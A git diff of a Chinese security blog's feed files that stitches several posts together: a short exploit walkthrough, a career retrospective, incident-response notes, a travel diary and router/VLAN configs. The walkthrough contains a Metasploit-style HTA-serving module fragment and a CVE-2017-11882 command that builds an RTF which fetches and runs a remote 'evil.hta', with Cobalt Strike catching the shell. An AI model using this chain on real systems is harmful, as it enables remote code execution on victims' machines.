style="display:flex;"><span> <span style="color:#e6db74">&#39;win&#39;</span>, +</span></span><span style="display:flex;"><span> p<span style="color:#f92672">.</span>encoded, +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;hta-psh&#39;</span>, +</span></span><span style="display:flex;"><span> { <span style="color:#e6db74">:arch</span> <span style="color:#f92672">=&gt;</span> <span style="color:#66d9ef">ARCH_X86</span>, <span style="color:#e6db74">:platform</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;win &#39;</span>} +</span></span><span style="display:flex;"><span> ) +</span></span><span style="display:flex;"><span> send_response(cli, data, <span style="color:#e6db74">&#39;Content-Type&#39;</span> <span style="color:#f92672">=&gt;</span> <span style="color:#e6db74">&#39;application/hta&#39;</span>) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">primer</span> +</span></span><span style="display:flex;"><span> url <span style="color:#f92672">=</span> get_uri +</span></span><span style="display:flex;"><span> print_status(<span style="color:#e6db74">&#34;Place the following DDE in an MS document:&#34;</span>) +</span></span><span style="display:flex;"><span> print_line(<span style="color:#e6db74">&#34;mshta.exe </span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">#{</span>url<span style="color:#e6db74">}</span><span style="color:#ae81ff">\&#34;</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">end</span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-配置环境">0x02 配置环境</h2> +<p>首先我要将<code>阿里云安全组</code>配置一下,预留两个端口:</p> \ No newline at end of file diff --git "a/categories/\346\274\217\346\264\236\345\244\215\347\216\260/index.xml" "b/categories/\346\274\217\346\264\236\345\244\215\347\216\260/index.xml" index d0d4cd3..13b3a5d 100644 --- "a/categories/\346\274\217\346\264\236\345\244\215\347\216\260/index.xml" +++ "b/categories/\346\274\217\346\264\236\345\244\215\347\216\260/index.xml" @@ -25,4 +25,19 @@ </p> <p>将生成的hta文档放入WebServer根目录:http://192.168.3.106/evil.hta</p> -<p>我(Cobalt Strike)本地监听了一个8081端口,用来接收客户端的Shell</p> \ No newline at end of file +<p>我(Cobalt Strike)本地监听了一个8081端口,用来接收客户端的Shell</p> +<h3 id="生成一个rtfdoc文档">生成一个rtf/doc文档</h3> +<p>github上已有生成脚本</p> +<p><code>webdav_exec_CVE-2017-11882.py</code> 地址: <a href="http://payloads.online/tools/cve-2017-11882/webdav_exec_CVE-2017-11882.py">http://payloads.online/tools/cve-2017-11882/webdav_exec_CVE-2017-11882.py</a></p> +<p>生成rtf文档:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>python webdav_exec_CVE-2017-11882.py -u http://192.168.3.106/evil.hta -e &#34;mshta http://192.168.3.106/evil.hta&#34; -o test.rtf +</span></span><span style="display:flex;"><span>!!! Completed !!! +</span></span></code></pre></td></tr></table> +</div> +</div><p>最后将test.rtf在目标机器上执行 <code>=_=||</code>,其实可以实战的,对于APT的帮助很大</p> \ No newline at end of file diff --git "a/categories/\347\224\237\346\264\273/index.xml" "b/categories/\347\224\237\346\264\273/index.xml" index 1ad5cc6..d0f0ded 100644 --- "a/categories/\347\224\237\346\264\273/index.xml" +++ "b/categories/\347\224\237\346\264\273/index.xml" @@ -61,7 +61,36 @@ <p>2017/08/26 倾旋</p> <p><a href="https://mp.weixin.qq.com/s/IzCJk69RYL_IrTFVaP2n1A">&gt;&gt;原文</a></p> -<p>现在公众号已经废除、一叶知安已经解散,不会再去创作了,这篇文章意味着我接受了失败的结果,吸取教训,慢慢成长。</p>应急响应 近期总结https://payloads.online/archivers/2018-12-06/1/Wed, 05 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-06/1/<h2 id="0x00-应急响应">0x00 应急响应</h2> +<p>现在公众号已经废除、一叶知安已经解散,不会再去创作了,这篇文章意味着我接受了失败的结果,吸取教训,慢慢成长。</p> +<p>写上面这篇文章的时候是从南京落魄的逃离至杭州刚刚安定下来的时候,在此谢谢霖的照顾。</p> +<p>后续找了一份比较清闲的安全服务乙方工作,待遇还可以,但是团队是刚组建起来,需要很大精力投入建设,正是因为闲,我又把C/C++这类学习成本比较高的语言拾起来……至今我觉得我的选择是对的。</p> +<p>同时也给我的“前渗透框架”项目奠定了基础,锻炼了我的能力,使我在安全领域拥有了更多的方向。</p> +<p>参加沙龙的时候,有幸结识了我的前辈 - <strong>GUO</strong>,在聊到职业现状时,他建议我去更大的平台(奇虎/360企业安全集团),我非常认同前辈的说法——“人不能一直活在舒适区”。</p> +<p>当时只是简单聊聊,内心是对自己很不满意的,认为360是一个具有品牌力量的公司,能进入的绝非平庸之辈,我这样的可能面试都过不了,学历不高、能力不强,极度不自信。</p> +<p>正是这种极度不自信催促了我学习上进的心,然后开始将渗透做深,与ShadowTeam里的师傅们交流。</p> +<p>在2017年最后一次与GUO对话的时候,我说了一句:“我一定会自信的走进去(360)”</p> +<h1 id="2018">2018</h1> +<p>过完年,杭州的天气依旧有些冷,决定做几个漂亮的渗透案例,到时候给自己的简历加分……</p> +<p>花了一个月的时间,产出了两篇文章:</p> +<ul> +<li><a href="https://payloads.online/archivers/2017-12-28/1">针对国内一大厂的后渗透 - 持续</a></li> +<li><a href="https://payloads.online/archivers/2018-01-30/1">针对某跨国企业的一次渗透测试-持续</a></li> +</ul> +<p>分别都拿到域控作为结束,我将文章脱敏后发出来,跨国企业的安全部负责人在安全圈看到了这个文章,通过邮箱取得联系,最后我决定删除文章,当时圈里都传遍了,<strong>朋友圈现在还有聊天记录</strong>。</p> +<p>的确这种做法是不对的,厂商也差点报警处理,还好没有太大影响,并且我也给了修复建议,碰到了好人,运气好。</p> +<p>三四月份,天气开始热起来了,我已经写好简历,按照流程面试完后,准备奔赴上海找房……</p> +<h2 id="四月向魔都宣告---我来了">四月向魔都宣告 - 我来了</h2> +<p>完成了一个梦想,真好,转眼间逝去的两年,我不断成长,感受人情冷暖、接纳新鲜事物,至今已学会如何照顾自己,让生活更具有色彩,人生更加无憾。</p> +<p>谢谢我的朋友们给我的支持!</p> +<p><a href="https://payloads.online/archivers/2018-04-20/1">&gt;&gt;原文</a></p> +<p>于是在八月份写了一篇总结:</p> +<h3 id="入职">入职</h3> +<p>在炎热的四月底,我背着双肩包,顶着一头乱发来到上海,傍晚下了高铁,想到公司附近转转,赶上了团队的技术分享,晚上喝了很多酒,印象最深的还是那烧烤、啤酒、热情的人。</p> +<h3 id="工作">工作</h3> +<p>慢慢的接触到了很多大牛,都很低调,从开始的渗透测试转向新型安全服务,偏向产品的路线,在接触产品的过程中也学到了不少;</p> +<p>有应急响应、代码审计、流量分析、渗透测试等,技术的广度提升了很多,也看到了技术变现有更多的可能,唯一就是我要不断的创新、发散自己的思维。</p> +<h3 id="近况">近况</h3> +<p>最近没有规划近期目标,让我觉得有点小焦虑,很多东西都可以一步一步来的,准备养成一个写日记的习惯。</p>应急响应 近期总结https://payloads.online/archivers/2018-12-06/1/Wed, 05 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-06/1/<h2 id="0x00-应急响应">0x00 应急响应</h2> <p>简介:“应急响应”对应的英文是“Incident Response”或“Emergency Response”等,通常是指一个组织为了应对各种意外事件的发生所做的准备以及在事件发生后所采取的措施。 &ndash; Baidu</p> <h2 id="0x01-应急响应类型">0x01 应急响应类型</h2> <p>目前接触的那么多应急,基本上都是以下事件类型:</p> @@ -99,7 +128,20 @@ <p>一般情况下,这类情况都是未安装杀毒软件或杀毒软件病毒库太老。</p> <p>横向移动的手段与<strong>0x03</strong>很相近。</p> <blockquote> -<p>IOC(Indicator of Compromise)入侵指标,目前可以理解为是一种威胁参考数据。</p>近期的生活https://payloads.online/archivers/2018-08-03/2/Fri, 03 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-03/2/<h2 id="0x01-入职">0x01 入职</h2> +<p>IOC(Indicator of Compromise)入侵指标,目前可以理解为是一种威胁参考数据。</p> +</blockquote> +<h2 id="0x05-应急响应---数据丢失">0x05 应急响应 - 数据丢失</h2> +<p>这种是处理起来比较棘手的事件了,需要画大量的时间分析日志,确定数据丢失的方式。</p> +<p>首先需要网络日志和主机日志,从数据服务器反向跟踪:<strong>“我被谁访问,谁对我做了什么”</strong></p> +<h2 id="0x06-应急响应---网页篡改">0x06 应急响应 - 网页篡改</h2> +<p>分两种情况:</p> +<ul> +<li>自动化批量攻击</li> +<li>定向入侵</li> +</ul> +<p>首先需要保留HTTP服务器日志,第一种情况就要判断HTTP服务器上是否有脆弱的Web应用,例如:远程代码执行、文件上传漏洞。第二种情况就要从网页篡改后第一发现的时间作为开始日志审计工作的启动时间。</p> +<h2 id="0x07-应急响应---流量异常">0x07 应急响应 - 流量异常</h2> +<p>这种情况一般是服务器被僵尸网络木马控制了,要么就是UDP服务对外 —— DRDOS这类也有可能。</p>近期的生活https://payloads.online/archivers/2018-08-03/2/Fri, 03 Aug 2018 00:00:00 +0000https://payloads.online/archivers/2018-08-03/2/<h2 id="0x01-入职">0x01 入职</h2> <p>在炎热的四月底,我背着双肩包,顶着一头乱发来到上海,傍晚下了高铁,想到公司附近转转,赶上了团队的技术分享,晚上喝了很多酒,印象最深的还是那烧烤、啤酒、热情的人。</p> <h2 id="0x02-工作">0x02 工作</h2> <p>慢慢的接触到了很多大牛,都很低调,从开始的渗透测试转向新型安全服务,偏向产品的路线,在接触产品的过程中也学到了不少;</p> @@ -146,4 +188,157 @@ <p> <img src="https://images.payloads.online/f86feb1a-4f5e-11ec-ba81-00d861bf4abb.jpg" alt="我的早饭"> -</p> \ No newline at end of file +</p> +<p>起来的比较晚哈哈,当然没啥好吃的了,就只能喝点粥和牛奶……</p> +<h2 id="古城你好">古城,你好</h2> +<p>走在人少的古城小道,别具诗意,哈哈</p> +<p> + <img src="https://images.payloads.online/f4de9b54-4f5e-11ec-ad35-00d861bf4abb.jpg" alt="古城小道"> + +</p> +<p>还有随处可见的其他客栈,基本上都会在门口立着一个牌子 —— “今日有房”</p> +<p> + <img src="https://images.payloads.online/f55b9596-4f5e-11ec-8eba-00d861bf4abb.jpg" alt="大花猫"> + +</p> +<p>如果这家客栈是在城市之中,恐怕路过的人都会拍几张,但是在丽江,这太普通了!</p> +<p> + <img src="https://images.payloads.online/f5b6ec66-4f5e-11ec-a244-00d861bf4abb.jpg" alt="少数民族"> + +</p> +<p>热情的少数民族,一对情侣,这里的人们对于爱情可是有着别样的看法,若两个人不能在一起、或者是结婚,那就选择殉情,去“玉龙第三国”,就在玉龙雪山脚下,我稍后会介绍</p> +<p> + <img src="https://images.payloads.online/f8da85ec-4f5e-11ec-8f49-00d861bf4abb.jpg" alt="古城大道"> + + + + <img src="https://images.payloads.online/f9d347ae-4f5e-11ec-ade8-00d861bf4abb.jpg" alt="古城小道"> + +</p> +<p> + <img src="https://images.payloads.online/fb627c98-4f5e-11ec-8aba-00d861bf4abb.jpg" alt="古城小道"> + +</p> +<p>这里万里无云,墙壁上雕刻着这些民族独有的象形文字。</p> +<p> + <img src="https://images.payloads.online/fa4ac2a2-4f5e-11ec-9d7f-00d861bf4abb.jpg" alt="美食街"> + +</p> +<p>古城的美食街,我在这里吃了一碗米线,不如前面小店里的…… 可能是他们做惯了快餐 = =</p> +<p> + <img src="https://images.payloads.online/fc16a736-4f5e-11ec-8311-00d861bf4abb.jpg" alt="美食街"> + +</p> +<p>密室逃脱都有,这里的商业发展很完善,支持微信、支付宝付款</p> +<h2 id="美食">美食</h2> +<p> + <img src="https://images.payloads.online/f660c39e-4f5e-11ec-8a3d-00d861bf4abb.jpg" alt="土鸡米线"> + +</p> +<p>到了下午,饥饿感袭来,赶紧去寻找云南特色美食,米线当然是少不了的了。</p> +<p>我们选了一家比较大的米线店,虽然这种店随处可见,但是隐隐感觉这的味道绝对不差。</p> +<h2 id="古城的夜晚狂欢">古城的夜晚狂欢</h2> +<p>吃完饭就回去躺了一会,比较累就没有去逛</p> +<p> + <img src="https://images.payloads.online/f6e2ef4a-4f5e-11ec-9af8-00d861bf4abb.jpg" alt="古城的晚上"> + +</p> +<p> + <img src="https://images.payloads.online/f75a8f6e-4f5e-11ec-8530-00d861bf4abb.jpg" alt="古城的晚上"> + +</p> +<p>到了晚上,开始狂欢! 公司组织了一个小活动,去酒吧喝酒 —— “水泊梁山”</p> +<p>晚上人比较多,开着导航都容易走错,小道大道错综复杂。</p> +<p> + <img src="https://images.payloads.online/faccde18-4f5e-11ec-a0de-00d861bf4abb.jpg" alt="水泊梁山"> + +</p> +<p> + <img src="https://images.payloads.online/fb1a42f2-4f5e-11ec-9229-00d861bf4abb.jpg" alt="水泊梁山"> + +</p> +<p>在这里有一种“午夜销魂酒”,我喝了不少,还有“飞花雪月”~~ 手中拿着酒壶,就像是古代里的侠客 ~ 哈哈</p> +<p>最后的最后我还是喝多了,回到客栈就吐了 2333 然后躺倒,一觉睡到第二天早上</p> +<h2 id="最美老板娘">最美老板娘</h2> +<p>第一晚跟着同事去看了这个抖音网红</p> +<p> + <img src="https://images.payloads.online/fbcd3420-4f5e-11ec-8a82-00d861bf4abb.jpg" alt="最美老板娘"> + +</p> +<p>她是卖民鼓的,演奏的很好听~</p> +<h2 id="登上玉龙雪山的前奏">登上玉龙雪山的前奏</h2> +<p>玉龙雪山为云南省丽江市境内雪山群,地处东经100°4′2″~100°16′30″、北纬27°3′2″~27°18′57″之间,在丽江北面约15千米处,全长75千米,是北半球最近赤道终年积雪的山脉,隔江西与中甸雪山、东与绵绵山相并列,北自三江口,向南延伸到北纬27°,如扇面向古城展开。全山的13座山峰由南向北纵向排列,主峰扇子陡最高处海拔5596米,终年积雪,发育有亚欧大陆距离赤道最近的温带海洋性冰川。</p> +<p>早上很早就起来了,因为索道需要排队,我们排到了中午,天气很好。</p> +<p> + <img src="https://images.payloads.online/fc5e09be-4f5e-11ec-b0e6-00d861bf4abb.jpg" alt="坐车去玉龙雪山脚下"> + +</p> +<p>坐车去玉龙雪山脚下。</p> +<p> + <img src="https://images.payloads.online/fcbe89e2-4f5e-11ec-bd8d-00d861bf4abb.jpg" alt="购买氧气罐"> + +</p> +<p>由于玉龙雪山海拔比较高,高到穿透了云层,登山的时候氧气稀薄,必须购买一个氧气罐,补充氧气,一罐大概60元。</p> +<p>PS:购买氧气罐必须要去专业的供氧中心,以防买到“压缩空气”</p> +<p> + <img src="https://images.payloads.online/fd326c5e-4f5e-11ec-aa52-00d861bf4abb.jpg" alt="供氧中心"> + +</p> +<p>到达玉龙雪山脚下</p> +<p> + <img src="https://images.payloads.online/fd93daa2-4f5e-11ec-a44d-00d861bf4abb.jpg" alt="到达雪山脚下"> + +</p> +<p>云雾缭绕的上面就是玉龙雪山、路上导游也介绍了玉龙雪山相关的景色以及乘坐索道的注意事项,还有玉龙雪山的特色(国家保护动物、植物、药材)</p> +<p> + <img src="https://images.payloads.online/fde9efc8-4f5e-11ec-9bad-00d861bf4abb.jpg" alt="安检"> + +</p> +<p>进入玉龙雪山需要乘坐一段时间大巴车,到达乘坐索道的地点,首先需要安检、刷身份证来验票,整个旅游的景点都是只需要刷身份证就可以了,非常方便。</p> +<p> + <img src="https://images.payloads.online/fe4af73c-4f5e-11ec-a062-00d861bf4abb.jpg" alt="下车"> + +</p> +<p>下车后看到路边有一些积雪、气温开始下降,大家去的话一定要带厚衣服。</p> +<p> + <img src="https://images.payloads.online/feb3a386-4f5e-11ec-b777-00d861bf4abb.jpg" alt="索道"> + +</p> +<p>开始排队、进行索道安检,期间看到索道上的缆车通过钢缆送上云端,不经感叹人类的智慧力量,那可是5000多米的海拔,通过电力就可以把人送上去。</p> +<p> + <img src="https://images.payloads.online/ff1451c2-4f5e-11ec-a591-00d861bf4abb.jpg" alt="海拔说明"> + +</p> +<p>在过了安检后,我路过了一个展览牌,里面标识了每一个海拔点。</p> +<p>通过缆车将人送到4506米的海拔高度,然后再通过楼梯,爬上4680的海拔高度。我一开始是想登上5596米的,但是只能上到4680&hellip;. +后面你会看到我的狼狈、怎么说也是年轻的小伙,爬一百多米就不行了。</p> +<p> + <img src="https://images.payloads.online/ff7b1646-4f5e-11ec-bb2a-00d861bf4abb.jpg" alt="缆车启动"> + +</p> +<p>缆车开始驶离起点,直冲云霄~</p> +<p> + <img src="https://images.payloads.online/ffe55998-4f5e-11ec-972e-00d861bf4abb.jpg" alt="缆车上的景色"> + +</p> +<p>在缆车上可以看到山上的植被,好像大多是松树,还有常年不化的积雪。</p> +<p> + <img src="https://images.payloads.online/018445b6-4f5f-11ec-a2c8-00d861bf4abb.jpg" alt="开始冲破云层"> + + + + <img src="https://images.payloads.online/005a2c82-4f5f-11ec-b895-00d861bf4abb.jpg" alt="开始冲破云层"> + +</p> +<p>开始冲破云层</p> +<h2 id="天上的景色">天上的景色</h2> +<p> + <img src="https://images.payloads.online/00b6f160-4f5f-11ec-95b4-00d861bf4abb.jpg" alt="天上的景色"> + +</p> +<p> + <img src="https://images.payloads.online/011ecc9a-4f5f-11ec-82ea-00d861bf4abb.jpg" alt="天上的景色"> + +</p> +<h2 id="着陆后">着陆后</h2> +<p>下了缆车,看到许多人,然后我的嘴唇开始泛白、头有点晕,感觉开始吸氧,向楼梯走去,绝对不能倒在起点啊 哈哈</p> \ No newline at end of file diff --git "a/categories/\347\275\221\347\273\234\345\267\245\347\250\213/index.xml" "b/categories/\347\275\221\347\273\234\345\267\245\347\250\213/index.xml" index 63b743c..d894364 100644 --- "a/categories/\347\275\221\347\273\234\345\267\245\347\250\213/index.xml" +++ "b/categories/\347\275\221\347\273\234\345\267\245\347\250\213/index.xml" @@ -75,7 +75,77 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">64 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">65 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">66 -</span></code></pr华为MSTP协议https://payloads.online/archivers/2015-11-20/6/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/6/<p>本文记录一下华为MSTP协议配置</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>Router5: +</span></span><span style="display:flex;"><span>Router&gt;en +</span></span><span style="display:flex;"><span>Router#conf t +</span></span><span style="display:flex;"><span>Router(config)#int FastEthernet 0/1 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.1.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#exit +</span></span><span style="display:flex;"><span>Router(config)#int se +</span></span><span style="display:flex;"><span>Router(config)#int serial 1/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.2.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int f0/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 192.168.1.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#exit +</span></span><span style="display:flex;"><span>Router(config)#route rip +</span></span><span style="display:flex;"><span>Router(config-router)#version 2 +</span></span><span style="display:flex;"><span>Router(config-router)#network 192.168.1.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.2.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.1.0 +</span></span><span style="display:flex;"><span>Router(config-router)# +</span></span><span style="display:flex;"><span>Router7: +</span></span><span style="display:flex;"><span>Router&gt; +</span></span><span style="display:flex;"><span>Router&gt;en +</span></span><span style="display:flex;"><span>Router#conf t +</span></span><span style="display:flex;"><span>Router(config)#int f0/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.1.2 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int s1/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.2.2 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int f0/1 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.3.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int s1/1 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.4.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#exit +</span></span><span style="display:flex;"><span>Router(config)#route rip +</span></span><span style="display:flex;"><span>Router(config-router)#version 2 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.1.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.2.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.3.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.4.0 +</span></span><span style="display:flex;"><span>Router(config-router)# +</span></span><span style="display:flex;"><span>Router9: +</span></span><span style="display:flex;"><span>Router&gt;en +</span></span><span style="display:flex;"><span>Router#conf t +</span></span><span style="display:flex;"><span>Router(config)#int f0/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.3.2 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int s1/0 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 172.16.4.2 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#int f0/1 +</span></span><span style="display:flex;"><span>Router(config-if)#no shutdown +</span></span><span style="display:flex;"><span>Router(config-if)#ip add 192.168.2.1 255.255.255.0 +</span></span><span style="display:flex;"><span>Router(config-if)#exit +</span></span><span style="display:flex;"><span>Router(config)#route rip +</span></span><span style="display:flex;"><span>Router(config-router)#version 2 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.3.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 172.16.4.0 +</span></span><span style="display:flex;"><span>Router(config-router)#network 192.168.2.0 +</span></span><span style="display:flex;"><span>Router(config-router)# +</span></span></code></pre></td></tr></table> +</div> +</div><p>通信测试:</p>华为MSTP协议https://payloads.online/archivers/2015-11-20/6/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/6/<p>本文记录一下华为MSTP协议配置</p> <ul> <li> <p>1.创建四个VLAN在四个交换机上,分别是 10 20 30 40。</p> @@ -112,7 +182,28 @@ </span></span><span style="display:flex;"><span>&lt;Huawei&gt;sys </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>[Huawei]vlan batch 10 20 30 40 -</span></span></code></pr华为交换机MUX-VLANhttps://payloads.online/archivers/2015-11-20/5/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/5/<p>本文记录一下华为交换机MUX-VLAN配置</p> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-分别设置trunk链路">0x02 分别设置trunk链路</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e 0/0/1 to e 0/0/2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port link-type trunk +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port trunk allow-pass vlan all +</span></span></code></pre></td></tr></table> +</div> +</div><p>说明:在每个交换机都要创建四个VLAN、并且都设置trunk链路</p>华为交换机MUX-VLANhttps://payloads.online/archivers/2015-11-20/5/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/5/<p>本文记录一下华为交换机MUX-VLAN配置</p> <p> <figure> <img src="https://images.payloads.online/d1b893a0-4f5e-11ec-b60d-00d861bf4abb.png" alt="enter description here" class="figcaption-img"> @@ -204,7 +295,93 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">80 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">81 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">82 -</span></code></pr华为交换机Telnet远程登录https://payloads.online/archivers/2015-11-20/1/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/1/<p>本文记录一下华为交换机Telnet远程登录的简单配置</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt;Huawei&gt;sys +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]vlan batch 100 20 30 10 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>提示:此操作可能耗时较长。请稍等…完成。 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e0/0/2 to e0/0/4 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/2]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/3]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/4]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port default vlan 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/2]port default vlan 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/3]port default vlan 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/4]port default vlan 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e 0/0/5 to e0/0/6 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/5]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/6]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port default vlan 10 +</span></span><span style="display:flex;"><span> 